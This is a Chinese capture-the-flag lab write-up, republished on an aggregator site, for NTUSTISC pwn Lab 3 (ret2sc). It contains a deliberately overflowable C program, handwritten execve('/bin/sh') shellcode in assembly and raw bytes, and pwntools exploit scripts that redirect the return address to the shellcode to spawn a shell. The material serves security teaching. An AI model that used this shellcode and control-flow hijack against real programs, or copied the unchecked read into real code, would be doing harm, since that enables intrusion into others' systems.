[NTUSTISC pwn LAB 3]栈溢出:返回值跳转到shellcode ret2sc 实验
Posted 漫小牛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[NTUSTISC pwn LAB 3]栈溢出:返回值跳转到shellcode ret2sc 实验相关的知识,希望对你有一定的参考价值。
文章目录
一、考点
- 栈溢出
- gdb动态调试
- 静态分析
- shellcode的人工构造和自动构造
- 机器码和汇编的互翻
- 如何查找某一全局变量的虚拟地址
- pwntools脚本与二进制程序相结合的动态调试
二、相关资源
题目及相关资源的下载地址为:
链接:https://pan.baidu.com/s/1uRyQN1dzA0OLsgcn1UtYjg
提取码:vfdl
本次实验对应Lab3
三、题目
这是一道栈溢出pwn题,同时不但给出了二进制文件,也给出了源文件:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char message[48];
int main()
{
char name[16];
printf("Give me your message: ");
fflush(stdout);
read(0, message, 0x30);
printf("Give me your name: ");
fflush(stdout);
read(0, name, 0x30);
return 0;
}
四、解题过程
1、检查保护机制
checksec无任何保护机制:
2、运行查看效果
运行该程序,用户有两个输入点,填充大量的11111111,均可能存在栈溢出漏洞。
3、静态分析
直接看实验中给出的源码ret2sc.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char message[48];
int main()
{
char name[16];
printf("Give me your message: ");
fflush(stdout);
read(0, message, 0x30);
printf("Give me your name: ");
fflush(stdout);
read(0, name, 0x30);
return 0;
}
程序存在两个输入点,第一个为message,我们可以构造shellcode,并写入message;同时,在第二个输入点覆盖return address为message的地址,实现栈溢出并劫持控制流。
4、shellcode的构造
4.1人工构造
如下代码为人工构造的shellcode
mov rbx, 0x68732f6e69622f
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
shellcode主要是填入/bin/sh参数,执行系统调用execve:
int execve(const char *filename, char *const argv[], char *const envp[])
第一条指令0x68732f6e69622f为/bin/sh,将该字符串push到堆栈中后,通过rsp赋值给rdi,第二个参数rsi和第三个参数rdx分别用xor的方式置为0,execve为59号系统调用,可通过LINUX SYSTEM CALL TABLE FOR X86 64来查看:
4.2自动构造
除了人工构造外,也可以用pwntools的接口自动构造:
sc = asm(shellcraft.sh())
5、查找message的虚拟地址
输入命令查找message的虚拟地址:
objdump -d -M intel ret2sc
在主函数main中可看到message对应的虚拟地址为0x601060 。
6、gdb调试定位return address
使用gdb动态调试,分别进行如下操作:
gdb ret2sc
b main
r
单步n,一直到第二个read的位置,这是堆栈空间还没有被污染的样子,main函数执行完后,会从堆栈中弹出下一条指令的地址(这是main返回后要去的地方),即图中标红的部分:
单步n,任意输入一串数字,发现这个位置已被填充为dddddddd
7、编写exp
编写的exp为:
from pwn import *
r = process('./ret2sc')
r.recvuntil(': ')
context.arch = 'amd64'
sc = asm('''
mov rbx, 0x68732f6e69622f
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
''')
#sc = asm(shellcraft.sh())
#print(sc)
r.send(sc)
payload = 'a'*0x18 + p64(0x601060)
r.recvuntil(': ')
r.send(payload)
r.interactive()
运行该脚本后,执行ls命令,可以看出已经拿到了shell:
五、动态验证(二进制+pwntools混合调试)
在exp中r = process(’./ret2sc’)的下增加一行代码raw_input():
在当前窗口执行该python脚本,程序会因raw_input()这条语句卡在这里:
再打开另一终端并执行gdb pid 3216,attach到3216进程。
x/40gx 0x601060查看填入shellcode前的message的内存空间为:
x/40gx 0x601060查看填入shellcode后的message的内存空间为:
也可以通过x/20i 0x601060查看汇编指令:
下面的add是一些全0的机器码对应的一些废掉的汇编。
这里有一个好的网站Online x86 / x64 Assembler and Disassembler,可实现汇编和机器码互相翻译,并在exp中将汇编形式的shellcode替换为机器码形式的shellcode:·
from pwn import *
r = process('./ret2sc')
raw_input()
r.recvuntil(': ')
context.arch = 'amd64'
#sc = asm('''
#mov rbx, 0x68732f6e69622f
#push rbx
#mov rdi, rsp
#xor rsi, rsi
#xor rdx, rdx
#mov rax, 0x3b
#syscall
# ''')
sc = "\\x48\\xBB\\x2F\\x62\\x69\\x6E\\x2F\\x73\\x68\\x00\\x53\\x48\\x89\\xE7\\x48\\x31\\xF6\\x48\\x31\\xD2\\x48\\xC7\\xC0\\x3B\\x00\\x00\\x00\\x0F\\x05"
#sc = asm(shellcraft.sh())
#print(sc)
r.send(sc)
payload = 'a'*0x18 + p64(0x601060)
r.recvuntil(': ')
按c,在python窗口ls,得到shell。
以上是关于[NTUSTISC pwn LAB 3]栈溢出:返回值跳转到shellcode ret2sc 实验的主要内容,如果未能解决你的问题,请参考以下文章
[NTUSTISC pwn LAB 3]栈溢出:返回值跳转到shellcode ret2sc 实验
[NTUSTISC pwn LAB 4]gothijacking入门实验
[NTUSTISC pwn LAB 6]rop&Return to plt实验